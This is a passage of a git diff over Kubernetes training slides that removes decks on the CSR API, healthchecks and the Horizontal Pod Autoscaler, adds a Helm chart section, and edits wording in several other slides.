-  kubectl logs deploy/worker --tail=10 --follow --namespace=magenta
-  ```
-
-]
-
-Note: it might take a minute or two for the worker to start.

slides/k8s/csr-api.md

@@ -1,426 +0,0 @@
-# The CSR API
-
-- The Kubernetes API exposes CSR resources
-
-- We can use these resources to issue TLS certificates
-
-- First, we will go through a quick reminder about TLS certificates
-
-- Then, we will see how to obtain a certificate for a user
-
-- We will use that certificate to authenticate with the cluster
-
-- Finally, we will grant some privileges to that user
-
----
-
-## Reminder about TLS
-
-- TLS (Transport Layer Security) is a protocol providing:
-
-  - encryption (to prevent eavesdropping)
-
-  - authentication (using public key cryptography)
-
-- When we access an https:// URL, the server authenticates itself
-
-  (it proves its identity to us; as if it were "showing its ID")
-
-- But we can also have mutual TLS authentication (mTLS)
-
-  (client proves its identity to server; server proves its identity to client)
-
----
-
-## Authentication with certificates
-
-- To authenticate, someone (client or server) needs:
-
-  - a *private key* (that remains known only to them)
-
-  - a *public key* (that they can distribute)
-
-  - a *certificate* (associating the public key with an identity)
-
-- A message encrypted with the private key can only be decrypted with the public key
-
-  (and vice versa)
-
-- If I use someone's public key to encrypt / decrypt their messages,
-  <br/>
-  I can be certain that I am talking to them / they are talking to me
-
-- The certificate proves that I have the correct public key for them
-
----
-
-## Certificate generation workflow
-
-This is what I do if I want to obtain a certificate.
-
-1. Create public and private key.
-
-2. Create a Certificate Signing Request (CSR).
-
-   (The CSR contains the identity that I claim and an expiration date.)
-
-3. Send that CSR to the Certificate Authority (CA).
-
-4. The CA verifies that I can claim the identity in the CSR.
-
-5. The CA generates my certificate and gives it to me.
-
-The CA (or anyone else) never needs to know my private key.
-
----
-
-## The CSR API
-
-- The Kubernetes API has a CertificateSigningRequest resource type
-
-  (we can list them with e.g. `kubectl get csr`)
-
-- We can create a CSR object
-
-  (= upload a CSR to the Kubernetes API)
-
-- Then, using the Kubernetes API, we can approve / deny the request
-
-- If we approve the request, the Kubernetes API generates a certificate
-
-- The certificate gets attached to the CSR object and can be retrieved
-
----
-
-## Using the CSR API
-
-- We will show how to use the CSR API to obtain user certificates
-
-- This will be a rather complex demo
-
-- ... And yet, we will take a few shortcuts to simplify it
-
-  (but it will illustrate the general idea)
-
-- The demo also won't be automated
-
-  (we would have to write extra code to make it fully functional)
-
----
-
-## General idea
-
-- We will create a Namespace named "users"
-
-- Each user will get a ServiceAccount in that Namespace
-
-- That ServiceAccount will give read/write access to *one* CSR object
-
-- Users will use that ServiceAccount's token to submit a CSR
-
-- We will approve the CSR (or not)
-
-- Users can then retrieve their certificate from their CSR object
-
-- ... And use that certificate for subsequent interactions
-
----
-
-## Resource naming
-
-For a user named `jean.doe`, we will have:
-
-- ServiceAccount `jean.doe` in Namespace `users`
-
-- CertificateSigningRequest `users:jean.doe`
-
-- ClusterRole `users:jean.doe` giving read/write access to that CSR
-
-- ClusterRoleBinding `users:jean.doe` binding ClusterRole and ServiceAccount
-
----
-
-## Creating the user's resources
-
-.warning[If you want to use another name than `jean.doe`, update the YAML file!]
-
-.exercise[
-
-- Create the global namespace for all users:
-  ```bash
-  kubectl create namespace users
-  ```
-
-- Create the ServiceAccount, ClusterRole, ClusterRoleBinding for `jean.doe`:
-  ```bash
-  kubectl apply -f ~/container.training/k8s/users:jean.doe.yaml
-  ```
-
-]
-
----
-
-## Extracting the user's token
-
-- Let's obtain the user's token and give it to them
-
-  (the token will be their password)
-
-.exercise[
-
-- List the user's secrets:
-  ```bash
-  kubectl --namespace=users describe serviceaccount jean.doe
-  ```
-
-- Show the user's token:
-  ```bash
-  kubectl --namespace=users describe secret `jean.doe-token-xxxxx`
-  ```
-
-]
-
----
-
-## Configure `kubectl` to use the token
-
-- Let's create a new context that will use that token to access the API
-
-.exercise[
-
-- Add a new identity to our kubeconfig file:
-  ```bash
-  kubectl config set-credentials token:jean.doe --token=...
-  ```
-
-- Add a new context using that identity:
-  ```bash
-  kubectl config set-context jean.doe --user=token:jean.doe --cluster=kubernetes
-  ```
-
-]
-
----
-
-## Access the API with the token
-
-- Let's check that our access rights are set properly
-
-.exercise[
-
-- Try to access any resource:
-  ```bash
-  kubectl get pods
-  ```
-  (This should tell us "Forbidden")
-
-- Try to access "our" CertificateSigningRequest:
-  ```bash
-  kubectl get csr users:jean.doe
-  ```
-  (This should tell us "NotFound")
-
-]
-
----
-
-## Create a key and a CSR
-
-- There are many tools to generate TLS keys and CSRs
-
-- Let's use OpenSSL; it's not the best one, but it's installed everywhere
-
-  (many people prefer cfssl, easyrsa, or other tools; that's fine too!)
- 
-.exercise[
-
-- Generate the key and certificate signing request:
-  ```bash
-    openssl req -newkey rsa:2048 -nodes -keyout key.pem \
-                -new -subj /CN=jean.doe/O=devs/ -out csr.pem
-  ```
-
-]
-
-The command above generates:
-
-- a 2048-bit RSA key, without DES encryption, stored in key.pem
-- a CSR for the name `jean.doe` in group `devs`
-
----
-
-## Inside the Kubernetes CSR object
-
-- The Kubernetes CSR object is a thin wrapper around the CSR PEM file
-
-- The PEM file needs to be encoded to base64 on a single line
-
-  (we will use `base64 -w0` for that purpose)
-
-- The Kubernetes CSR object also needs to list the right "usages"
-
-  (these are flags indicating how the certificate can be used)
-
----
-
-## Sending the CSR to Kubernetes
-
-.exercise[
-
-- Generate and create the CSR resource:
-  ```bash
-    kubectl apply -f - <<EOF
-    apiVersion: certificates.k8s.io/v1beta1
-    kind: CertificateSigningRequest
-    metadata:
-      name: users:jean.doe
-    spec:
-      request: $(base64 -w0 < csr.pem)
-      usages:
-      - digital signature
-      - key encipherment
-      - client auth
-    EOF
-  ```
-
-]
-
----
-
-## Adjusting certificate expiration
-
-- By default, the CSR API generates certificates valid 1 year
-
-- We want to generate short-lived certificates, so we will lower that to 1 hour
-
-- Fow now, this is configured [through an experimental controller manager flag](https://github.com/kubernetes/kubernetes/issues/67324)
-
-.exercise[
-
-- Edit the static pod definition for the controller manager:
-  ```bash
-  sudo vim /etc/kubernetes/manifests/kube-controller-manager.yaml
-  ```
-
-- In the list of flags, add the following line:
-  ```bash
-  - --experimental-cluster-signing-duration=1h
-  ```
-
-]
-
----
-
-## Verifying and approving the CSR
-
-- Let's inspect the CSR, and if it is valid, approve it
-
-.exercise[
-
-- Switch back to `cluster-admin`:
-  ```bash
-  kctx -
-  ```
-
-- Inspect the CSR:
-  ```bash
-  kubectl describe csr users:jean.doe
-  ```
-
-- Approve it:
-  ```bash
-  kubectl certificate approve users:jean.doe
-  ```
-
-]
-
----
-
-## Obtaining the certificate
-
-.exercise[
-
-- Switch back to the user's identity:
-  ```bash
-  kctx -
-  ```
-
-- Retrieve the certificate from the CSR:
-  ```bash
-  kubectl get csr users:jean.doe \
-          -o jsonpath={.status.certificate} \
-          | base64 -d > cert.pem
-  ```
-
-- Inspect the certificate:
-  ```bash
-  openssl x509 -in cert.pem -text -noout
-  ```
-
-]
-
----
-
-## Using the certificate
-
-.exercise[
-
-- Add the key and certificate to kubeconfig:
-  ```bash
-  kubectl config set-credentials cert:jean.doe --embed-certs \
-          --client-certificate=cert.pem --client-key=key.pem
-  ```
-
-- Update the user's context to use the key and cert to authenticate:
-  ```bash
-  kubectl config set-context jean.doe --user cert:jean.doe
-  ```
-
-- Confirm that we are seen as `jean.doe` (but don't have permissions):
-  ```bash
-  kubectl get pods
-  ```
-
-]
-
----
-
-## What's missing?
-
-We shown, step by step, a method to issue short-lived certificates for users.
-
-To be usable in real environments, we would need to add:
-
-- a kubectl helper to automatically generate the CSR and obtain the cert
-
-  (and transparently renew the cert when needed)
-
-- a Kubernetes controller to automatically validate and approve CSRs
-
-  (checking that the subject and groups are valid)
-
-- a way for the users to know the groups to add to their CSR
-
-  (e.g.: annotations on their ServiceAccount + read access to the ServiceAccount)
-
----
-
-## Is this realistic?
-
-- Larger organizations typically integrate with their own directory
-
-- The general principle, however, is the same:
-
-  - users have long-term credentials (password, token, ...)
-
-  - they use these credentials to obtain other, short-lived credentials
-
-- This provides enhanced security:
-
-  - the long-term credentials can use long passphrases, 2FA, HSM ...
-
-  - the short-term credentials are more convenient to use
-
-  - we get strong security *and* convenience
-
-- Systems like Vault also have certificate issuance mechanisms

slides/k8s/daemonset.md

@@ -73,13 +73,18 @@
 
 - Dump the `rng` resource in YAML:
   ```bash
-  kubectl get deploy/rng -o yaml >rng.yml
+  kubectl get deploy/rng -o yaml --export >rng.yml 
   ```
 
 - Edit `rng.yml`
 
 ]
 
+Note: `--export` will remove "cluster-specific" information, i.e.:
+- namespace (so that the resource is not tied to a specific namespace)
+- status and creation timestamp (useless when creating a new resource)
+- resourceVersion and uid (these would cause... *interesting* problems)
+
 ---
 
 ## "Casting" a resource to another
@@ -371,7 +376,7 @@ But ... why do these pods (in particular, the *new* ones) have this `app=rng` la
 
 - Bottom line: if we remove our `app=rng` label ...
 
- ... The pod "disappears" for its parent, which re-creates another pod to replace it
+ ... The pod "diseappears" for its parent, which re-creates another pod to replace it
 
 ---
 

slides/k8s/dashboard.md

@@ -153,7 +153,5 @@ The dashboard will then ask you which authentication you want to use.
 
 --
 
-- It introduces new failure modes
-
-  (for instance, if you try to apply YAML from a link that's no longer valid)
+- It introduces new failure modes (like if you try to apply yaml from a link that's no longer valid)
 

slides/k8s/declarative.md

@@ -1,20 +1,6 @@
 ## Declarative vs imperative in Kubernetes
 
-- With Kubernetes, we cannot say: "run this container"
-
-- All we can do is write a *spec* and push it to the API server
-
-  (by creating a resource like e.g. a Pod or a Deployment)
-
-- The API server will validate that spec (and reject it if it's invalid)
-
-- Then it will store it in etcd
-
-- A *controller* will "notice" that spec and act upon it
-
----
-
-## Reconciling state
+- Virtually everything we create in Kubernetes is created from a *spec*
 
 - Watch for the `spec` fields in the YAML files later!
 

slides/k8s/deploymentslideshow.md

@@ -1,67 +0,0 @@
-## 19,000 words
-
-They say, "a picture is worth one thousand words."
-
-The following 19 slides show what really happens when we run:
-
-```bash
-kubectl run web --image=nginx --replicas=3
-```
-
----
-class: pic
-![](images/kubectl-run-slideshow/01.svg)
----
-class: pic
-![](images/kubectl-run-slideshow/02.svg)
----
-class: pic
-![](images/kubectl-run-slideshow/03.svg)
----
-class: pic
-![](images/kubectl-run-slideshow/04.svg)
----
-class: pic
-![](images/kubectl-run-slideshow/05.svg)
----
-class: pic
-![](images/kubectl-run-slideshow/06.svg)
----
-class: pic
-![](images/kubectl-run-slideshow/07.svg)
----
-class: pic
-![](images/kubectl-run-slideshow/08.svg)
----
-class: pic
-![](images/kubectl-run-slideshow/09.svg)
----
-class: pic
-![](images/kubectl-run-slideshow/10.svg)
----
-class: pic
-![](images/kubectl-run-slideshow/11.svg)
----
-class: pic
-![](images/kubectl-run-slideshow/12.svg)
----
-class: pic
-![](images/kubectl-run-slideshow/13.svg)
----
-class: pic
-![](images/kubectl-run-slideshow/14.svg)
----
-class: pic
-![](images/kubectl-run-slideshow/15.svg)
----
-class: pic
-![](images/kubectl-run-slideshow/16.svg)
----
-class: pic
-![](images/kubectl-run-slideshow/17.svg)
----
-class: pic
-![](images/kubectl-run-slideshow/18.svg)
----
-class: pic
-![](images/kubectl-run-slideshow/19.svg)

slides/k8s/dmuc.md

@@ -33,7 +33,7 @@
 
 ## Our environment
 
-- We will use the machine indicated as `dmuc1`
+- We will use the machine indicated as `dmuc`
 
   (this stands for "Dessine Moi Un Cluster" or "Draw Me A Sheep",
   <br/>in homage to Saint-Exupery's "The Little Prince")
@@ -54,7 +54,7 @@
 
 .exercise[
 
-- Log into the `dmuc1` machine
+- Log into the `dmuc` machine
 
 - Get root:
   ```bash
@@ -106,7 +106,7 @@
 - Try to start the API server:
   ```bash
   kube-apiserver
-  # It will fail with "--etcd-servers must be specified"
+  # It will fail with --etcd-servers must be specified
   ```
 
 ]
@@ -535,7 +535,7 @@ clusters:
 
 - Start kubelet with that `kubeconfig.kubelet` file:
   ```bash
-  kubelet --kubeconfig kubeconfig.kubelet
+  kubelet --kubeconfig kubelet.kubeconfig
   ```
 
 ]
@@ -559,7 +559,7 @@ Success!
 
 Our node should show up.
 
-Its name will be its hostname (it should be `dmuc1`).
+Its name will be its hostname (it should be `dmuc`).
 
 ---
 
@@ -584,7 +584,7 @@ Our pod is still `Pending`. 🤔
 
 Which is normal: it needs to be *scheduled*.
 
-(i.e., something needs to decide which node it should go on.)
+(i.e., something needs to decide on which node it should go.)
 
 ---
 
@@ -658,7 +658,7 @@ class: extra-details
 
 - This is actually how the scheduler works!
 
-- It watches pods, makes scheduling decisions, and creates Binding objects
+- It watches pods, takes scheduling decisions, creates Binding objects
 
 ---
 
@@ -686,7 +686,7 @@ We should see the `Welcome to nginx!` page.
 
 ## Exposing our Deployment
 
-- We can now create a Service associated with this Deployment
+- We can now create a Service associated to this Deployment
 
 .exercise[
 
@@ -711,11 +711,11 @@ This won't work. We need kube-proxy to enable internal communication.
 
 ## Starting kube-proxy
 
-- kube-proxy also needs to connect to the API server
+- kube-proxy also needs to connect to API server
 
 - It can work with the `--master` flag
 
-  (although that will be deprecated in the future)
+  (even though that will be deprecated in the future)
 
 .exercise[
 
@@ -832,6 +832,6 @@ class: extra-details
 
 - By default, the API server expects to be running directly on the nodes
 
-  (it could be as a bare process, or in a container/pod using the host network)
+  (it could be as a bare process, or in a container/pod using host network)
 
 - ... And it expects to be listening on port 6443 with TLS

slides/k8s/extending-api.md

@@ -61,7 +61,7 @@ There are many possibilities!
 
   - creates a new custom type, `Remote`, exposing a git+ssh server
 
-  - deploy by pushing YAML or Helm charts to that remote
+  - deploy by pushing YAML or Helm Charts to that remote
 
 - Replacing built-in types with CRDs
 
@@ -87,11 +87,7 @@ There are many possibilities!
 
   (and take action when they are created/updated)
 
-*
-Examples:
-[YAML to install the gitkube CRD](https://storage.googleapis.com/gitkube/gitkube-setup-stable.yaml),
-[YAML to install a redis operator CRD](https://github.com/amaizfinance/redis-operator/blob/master/deploy/crds/k8s_v1alpha1_redis_crd.yaml)
-*
+*Example: [YAML to install the gitkube CRD](https://storage.googleapis.com/gitkube/gitkube-setup-stable.yaml)*
 
 ---
 

slides/k8s/gitworkflows.md

@@ -234,6 +234,6 @@
 
   (see the [documentation](https://github.com/hasura/gitkube/blob/master/docs/remote.md) for more details)
 
-- Gitkube can also deploy Helm charts
+- Gitkube can also deploy Helm Charts
 
   (instead of raw YAML files)

slides/k8s/healthchecks-more.md

@@ -1,393 +0,0 @@
-## Questions to ask before adding healthchecks
-
-- Do we want liveness, readiness, both?
-
-  (sometimes, we can use the same check, but with different failure thresholds)
-
-- Do we have existing HTTP endpoints that we can use?
-
-- Do we need to add new endpoints, or perhaps use something else?
-
-- Are our healthchecks likely to use resources and/or slow down the app?
-
-- Do they depend on additional services?
-
-  (this can be particularly tricky, see next slide)
-
----
-
-## Healthchecks and dependencies
-
-- A good healthcheck should always indicate the health of the service itself
-
-- It should not be affected by the state of the service's dependencies
-
-- Example: a web server requiring a database connection to operate
-
-  (make sure that the healthcheck can report "OK" even if the database is down;
-  <br/>
-  because it won't help us to restart the web server if the issue is with the DB!)
-
-- Example: a microservice calling other microservices
-
-- Example: a worker process
-
-  (these will generally require minor code changes to report health)
-
----
-
-## Adding healthchecks to an app
-
-- Let's add healthchecks to DockerCoins!
-
-- We will examine the questions of the previous slide
-
-- Then we will review each component individually to add healthchecks
-
----
-
-## Liveness, readiness, or both?
-
-- To answer that question, we need to see the app run for a while
-
-- Do we get temporary, recoverable glitches?
-
-  → then use readiness
-
-- Or do we get hard lock-ups requiring a restart?
-
-  → then use liveness
-
-- In the case of DockerCoins, we don't know yet!
-
-- Let's pick liveness
-
----
-
-## Do we have HTTP endpoints that we can use?
-
-- Each of the 3 web services (hasher, rng, webui) has a trivial route on `/`
-
-- These routes:
-
-  - don't seem to perform anything complex or expensive
-
-  - don't seem to call other services
-
-- Perfect!
-
-  (See next slides for individual details)
-
----
-
-- [hasher.rb](https://github.com/jpetazzo/container.training/blob/master/dockercoins/hasher/hasher.rb)
-  ```ruby
-    get '/' do
-      "HASHER running on #{Socket.gethostname}\n"
-    end
-  ```
-
-- [rng.py](https://github.com/jpetazzo/container.training/blob/master/dockercoins/rng/rng.py)
-  ```python
-    @app.route("/")
-    def index():
-      return "RNG running on {}\n".format(hostname)
-  ```
-
-- [webui.js](https://github.com/jpetazzo/container.training/blob/master/dockercoins/webui/webui.js)
-  ```javascript
-    app.get('/', function (req, res) {
-      res.redirect('/index.html');
-    });
-  ```
-
----
-
-## Running DockerCoins
-
-- We will run DockerCoins in a new, separate namespace
-
-- We will use a set of YAML manifests and pre-built images
-
-- We will add our new liveness probe to the YAML of the `rng` DaemonSet
-
-- Then, we will deploy the application
-
----
-
-## Creating a new namespace
-
-- This will make sure that we don't collide / conflict with previous exercises
-
-.exercise[
-
-- Create the yellow namespace:
-  ```bash
-  kubectl create namespace yellow
-  ```
-
-- Switch to that namespace:
-  ```bash
-  kns yellow
-  ```
-
-]
-
----
-
-## Retrieving DockerCoins manifests
-
-- All the manifests that we need are on a convenient repository:
-
-  https://github.com/jpetazzo/kubercoins
-
-.exercise[
-
-- Clone that repository:
-  ```bash
-  cd ~
-  git clone https://github.com/jpetazzo/kubercoins
-  ```
-
-- Change directory to the repository:
-  ```bash
-  cd kubercoins
-  ```
-
-]
-
----
-
-## A simple HTTP liveness probe
-
-This is what our liveness probe should look like:
-
-```yaml
-containers:
-- name: ...
-image: ...
-livenessProbe:
-  httpGet:
-    path: /
-    port: 80
-  initialDelaySeconds: 30
-  periodSeconds: 5
-```
-
-This will give 30 seconds to the service to start. (Way more than necessary!)
-<br/>
-It will run the probe every 5 seconds.
-<br/>
-It will use the default timeout (1 second).
-<br/>
-It will use the default failure threshold (3 failed attempts = dead).
-<br/>
-It will use the default success threshold (1 successful attempt = alive).
-
----
-
-## Adding the liveness probe
-
-- Let's add the liveness probe, then deploy DockerCoins
-
-.exercise[
-
-- Edit `rng-daemonset.yaml` and add the liveness probe
-  ```bash
-  vim rng-daemonset.yaml
-  ```
-
-- Load the YAML for all the resources of DockerCoins:
-  ```bash
-  kubectl apply -f .
-  ```
-
-]
-
----
-
-## Testing the liveness probe
-
-- The rng service needs 100ms to process a request
-
-  (because it is single-threaded and sleeps 0.1s in each request)
-
-- The probe timeout is set to 1 second
-
-- If we send more than 10 requests per second per backend, it will break
-
-- Let's generate traffic and see what happens!
-
-.exercise[
-
-- Get the ClusterIP address of the rng service:
-  ```bash
-  kubectl get svc rng
-  ```
-
-]
-
----
-
-## Monitoring the rng service
-
-- Each command below will show us what's happening on a different level
-
-.exercise[
-
-- In one window, monitor cluster events:
-  ```bash
-  kubectl get events -w
-  ```
-
-- In another window, monitor the response time of rng:
-  ```bash
-  httping `<ClusterIP>`
-  ```
-
-- In another window, monitor pods status:
-  ```bash
-  kubectl get pods -w
-  ```
-
-]
-
----
-
-## Generating traffic
-
-- Let's use `ab` to send concurrent requests to rng
-
-.exercise[
-
-- In yet another window, generate traffic:
-  ```bash
-  ab -c 10 -n 1000 http://`<ClusterIP>`/1
-  ```
-
-- Experiment with higher values of `-c` and see what happens
-
-]
-
-- The `-c` parameter indicates the number of concurrent requests
-
-- The final `/1` is important to generate actual traffic
-
-  (otherwise we would use the ping endpoint, which doesn't sleep 0.1s per request)
-
----
-
-## Discussion
-
-- Above a given threshold, the liveness probe starts failing
-
-  (about 10 concurrent requests per backend should be plenty enough)
-
-- When the liveness probe fails 3 times in a row, the container is restarted
-
-- During the restart, there is *less* capacity available
-
-- ... Meaning that the other backends are likely to timeout as well
-
-- ... Eventually causing all backends to be restarted
-
-- ... And each fresh backend gets restarted, too
-
-- This goes on until the load goes down, or we add capacity
-
-*This wouldn't be a good healthcheck in a real application!*
-
----
-
-## Better healthchecks
-
-- We need to make sure that the healthcheck doesn't trip when
-  performance degrades due to external pressure
-
-- Using a readiness check would have lesser effects
-
-  (but it still would be an imperfect solution)
-
-- A possible combination:
-
-  - readiness check with a short timeout / low failure threshold
-
-  - liveness check with a longer timeout / higher failure treshold
-
----
-
-## Healthchecks for redis
-
-- A liveness probe is enough
-
-  (it's not useful to remove a backend from rotation when it's the only one)
-
-- We could use an exec probe running `redis-cli ping`
-
----
-
-class: extra-details
-
-## Exec probes and zombies
-
-- When using exec probes, we should make sure that we have a *zombie reaper*
-
-  🤔🧐🧟 Wait, what?
-
-- When a process terminates, its parent must call `wait()`/`waitpid()`
-
-  (this is how the parent process retrieves the child's exit status)
-
-- In the meantime, the process is in *zombie* state
-
-  (the process state will show as `Z` in `ps`, `top` ...)
-
-- When a process is killed, its children are *orphaned* and attached to PID 1
-
-- PID 1 has the responsibility if *reaping* these processes when they terminate
-
-- OK, but how does that affect us?
-
----
-
-class: extra-details
-
-## PID 1 in containers
-
-- On ordinary systems, PID 1 (`/sbin/init`) has logic to reap processes
-
-- In containers, PID 1 is typically our application process
-
-  (e.g. Apache, the JVM, NGINX, Redis ...)
-
-- These *do not* take care of reaping orphans
-
-- If we use exec probes, we need to add a process reaper
-
-- We can add [tini](https://github.com/krallin/tini) to our images
-
-- Or [share the PID namespace between containers of a pod](https://kubernetes.io/docs/tasks/configure-pod-container/share-process-namespace/)
-
-  (and have gcr.io/pause take care of the reaping)
-
----
-
-## Healthchecks for worker
-
-- Readiness isn't useful
-
-  (because worker isn't a backend for a service)
-
-- Liveness may help us to restart a broken worker, but how can we check it?
-
-- Embedding an HTTP server is an option
-
-  (but it has a high potential for unwanted side-effects and false positives)
-
-- Using a "lease" file can be relatively easy:
-
-  - touch a file during each iteration of the main loop
-
-  - check the timestamp of that file from an exec probe
-
-- Writing logs (and checking them from the probe) also works

slides/k8s/healthchecks.md

@@ -108,7 +108,7 @@
 
   (as opposed to merely started)
 
-- Containers in a broken state get killed and restarted
+- Containers in a broken state gets killed and restarted
 
   (instead of serving errors or timeouts)
 

slides/k8s/helm.md

@@ -158,7 +158,7 @@ Where do these `--set` options come from?
 
 ]
 
-The chart's metadata includes a URL to the project's home page.
+The chart's metadata includes an URL to the project's home page.
 
 (Sometimes it conveniently points to the documentation for the chart.)
 
@@ -176,3 +176,77 @@ The chart's metadata includes a URL to the project's home page.
   ```
 
 ]
+
+---
+
+## Creating a chart
+
+- We are going to show a way to create a *very simplified* chart
+
+- In a real chart, *lots of things* would be templatized
+
+  (Resource names, service types, number of replicas...)
+
+.exercise[
+
+- Create a sample chart:
+  ```bash
+  helm create dockercoins
+  ```
+
+- Move away the sample templates and create an empty template directory:
+  ```bash
+  mv dockercoins/templates dockercoins/default-templates
+  mkdir dockercoins/templates
+  ```
+
+]
+
+---
+
+## Exporting the YAML for our application
+
+- The following section assumes that DockerCoins is currently running
+
+.exercise[
+
+- Create one YAML file for each resource that we need:
+  .small[
+  ```bash
+
+	while read kind name; do
+	  kubectl get -o yaml --export $kind $name > dockercoins/templates/$name-$kind.yaml
+	done <<EOF
+	deployment worker
+	deployment hasher
+	daemonset rng
+	deployment webui
+	deployment redis
+	service hasher
+	service rng
+	service webui
+	service redis
+	EOF
+  ```
+  ]
+
+]
+
+---
+
+## Testing our helm chart
+
+.exercise[
+
+- Let's install our helm chart! (`dockercoins` is the path to the chart)
+  ```
+  helm install dockercoins
+  ```
+]
+
+--
+
+- Since the application is already deployed, this will fail:<br>
+`Error: release loitering-otter failed: services "hasher" already exists`
+
+- To avoid naming conflicts, we will deploy the application in another *namespace*

slides/k8s/horizontal-pod-autoscaler.md

@@ -1,245 +0,0 @@
-# The Horizontal Pod Autoscaler
-
-- What is the Horizontal Pod Autoscaler, or HPA?
-
-- It is a controller that can perform *horizontal* scaling automatically
-
-- Horizontal scaling = changing the number of replicas
-
-  (adding / removing pods)
-
-- Vertical scaling = changing the size of individual replicas
-
-  (increasing / reducing CPU and RAM per pod)
-
-- Cluster scaling = changing the size of the cluster
-
-  (adding / removing nodes)
-
----
-
-## Principle of operation
-
-- Each HPA resource (or "policy") specifies:
-
-  - which object to monitor and scale (e.g. a Deployment, ReplicaSet...)
-
-  - min/max scaling ranges (the max is a safety limit!)
-
-  - a target resource usage (e.g. the default is CPU=80%)
-
-- The HPA continuously monitors the CPU usage for the related object
-
-- It computes how many pods should be running:
-
-  `TargetNumOfPods = ceil(sum(CurrentPodsCPUUtilization) / Target)`
-
-- It scales the related object up/down to this target number of pods
-
----
-
-## Pre-requirements
-
-- The metrics server needs to be running
-
-  (i.e. we need to be able to see pod metrics with `kubectl top pods`)
-
-- The pods that we want to autoscale need to have resource requests
-
-  (because the target CPU% is not absolute, but relative to the request)
-
-- The latter actually makes a lot of sense:
-
-  - if a Pod doesn't have a CPU request, it might be using 10% of CPU ...
-
-  - ... but only because there is no CPU time available!
-
-  - this makes sure that we won't add pods to nodes that are already resource-starved
-
----
-
-## Testing the HPA
-
-- We will start a CPU-intensive web service
-
-- We will send some traffic to that service
-
-- We will create an HPA policy
-
-- The HPA will automatically scale up the service for us
-
----
-
-## A CPU-intensive web service
-
-- Let's use `jpetazzo/busyhttp`
-
-  (it is a web server that will use 1s of CPU for each HTTP request)
-
-.exercise[
-
-- Deploy the web server:
-  ```bash
-  kubectl create deployment busyhttp --image=jpetazzo/busyhttp
-  ```
-
-- Expose it with a ClusterIP service:
-  ```bash
-  kubectl expose deployment busyhttp --port=80
-  ```
-
-- Get the ClusterIP allocated to the service:
-  ```bash
-  kubectl get svc busyhttp
-  ```
-
-]
-
----
-
-## Monitor what's going on
-
-- Let's start a bunch of commands to watch what is happening
-
-.exercise[
-
-- Monitor pod CPU usage:
-  ```bash
-  watch kubectl top pods
-  ```
-
-- Monitor service latency:
-  ```bash
-  httping http://`ClusterIP`/
-  ```
-
-- Monitor cluster events:
-  ```bash
-  kubectl get events -w
-  ```
-
-]
-
----
-
-## Send traffic to the service
-
-- We will use `ab` (Apache Bench) to send traffic
-
-.exercise[
-
-- Send a lot of requests to the service, with a concurrency level of 3:
-  ```bash
-  ab -c 3 -n 100000 http://`ClusterIP`/
-  ```
-
-]
-
-The latency (reported by `httping`) should increase above 3s.
-
-The CPU utilization should increase to 100%.
-
-(The server is single-threaded and won't go above 100%.)
-
----
-
-## Create an HPA policy
-
-- There is a helper command to do that for us: `kubectl autoscale`
-
-.exercise[
-
-- Create the HPA policy for the `busyhttp` deployment:
-  ```bash
-  kubectl autoscale deployment busyhttp --max=10
-  ```
-
-]
-
-By default, it will assume a target of 80% CPU usage.
-
-This can also be set with `--cpu-percent=`.
-
---
-
-*The autoscaler doesn't seem to work. Why?*
-
----
-
-## What did we miss?
-
-- The events stream gives us a hint, but to be honest, it's not very clear:
-
-  `missing request for cpu`
-
-- We forgot to specify a resource request for our Deployment!
-
-- The HPA target is not an absolute CPU%
-
-- It is relative to the CPU requested by the pod
-
----
-
-## Adding a CPU request
-
-- Let's edit the deployment and add a CPU request
-
-- Since our server can use up to 1 core, let's request 1 core
-
-.exercise[
-
-- Edit the Deployment definition:
-  ```bash
-  kubectl edit deployment busyhttp
-  ```
-
-- In the `containers` list, add the following block:
-  ```yaml
-    resources:
-      requests:
-        cpu: "1"
-  ```
-
-]
-
----
-
-## Results
-
-- After saving and quitting, a rolling update happens
-
-  (if `ab` or `httping` exits, make sure to restart it)
-
-- It will take a minute or two for the HPA to kick in:
-
-  - the HPA runs every 30 seconds by default
-
-  - it needs to gather metrics from the metrics server first
-
-- If we scale further up (or down), the HPA will react after a few minutes:
-
-  - it won't scale up if it already scaled in the last 3 minutes
-
-  - it won't scale down if it already scaled in the last 5 minutes
-
----
-
-## What about other metrics?
-
-- The HPA in API group `autoscaling/v1` only supports CPU scaling
-
-- The HPA in API group `autoscaling/v2beta2` supports metrics from various API groups:
-
-  - metrics.k8s.io, aka metrics server (per-Pod CPU and RAM)
-
-  - custom.metrics.k8s.io, custom metrics per Pod
-
-  - external.metrics.k8s.io, external metrics (not associated to Pods)
-
-- Kubernetes doesn't implement any of these API groups
-
-- Using these metrics requires to [register additional APIs](https://kubernetes.io/docs/tasks/run-application/horizontal-pod-autoscale/#support-for-metrics-apis)
-
-- The metrics provided by metrics server are standard; everything else is custom
-
-- For more details, see [this great blog post](https://medium.com/uptime-99/kubernetes-hpa-autoscaling-with-custom-and-external-metrics-da7f41ff7846) or [this talk](https://www.youtube.com/watch?v=gSiGFH4ZnS8)

slides/k8s/ingress.md

@@ -88,7 +88,7 @@
 
   - the control loop watches over ingress resources, and configures the LB accordingly
 
-- Step 2: set up DNS
+- Step 2: setup DNS
 
   - associate DNS entries with the load balancer address
 
@@ -126,7 +126,7 @@
 
 - We could use pods specifying `hostPort: 80` 
 
-  ... but with most CNI plugins, this [doesn't work or requires additional setup](https://github.com/kubernetes/kubernetes/issues/23920)
+  ... but with most CNI plugins, this [doesn't work or require additional setup](https://github.com/kubernetes/kubernetes/issues/23920)
 
 - We could use a `NodePort` service
 
@@ -142,7 +142,7 @@
 
   (sometimes called sandbox or network sandbox)
 
-- An IP address is assigned to the pod
+- An IP address is associated to the pod
 
 - This IP address is routed/connected to the cluster network
 
@@ -239,7 +239,7 @@ class: extra-details
 
   - an error condition on the node
     <br/>
-    (for instance: "disk full," do not start new pods here!)
+    (for instance: "disk full", do not start new pods here!)
 
 - The `effect` can be:
 
@@ -501,11 +501,11 @@ spec:
 
   (as long as it has access to the cluster subnet)
 
-- This allows the use of external (hardware, physical machines...) load balancers
+- This allows to use external (hardware, physical machines...) load balancers
 
 - Annotations can encode special features
 
-  (rate-limiting, A/B testing, session stickiness, etc.)
+  (rate-limiting, A/B testing, session stickiness, etc.) 
 
 ---
 

slides/k8s/kubectlexpose.md

@@ -81,7 +81,7 @@ Under the hood: `kube-proxy` is using a userland proxy and a bunch of `iptables`
 
 .exercise[
 
-- In another window, watch the pods (to see when they are created):
+- In another window, watch the pods (to see when they will be created):
   ```bash
   kubectl get pods -w
   ```
@@ -276,21 +276,3 @@ error: the server doesn't have a resource type "endpoint"
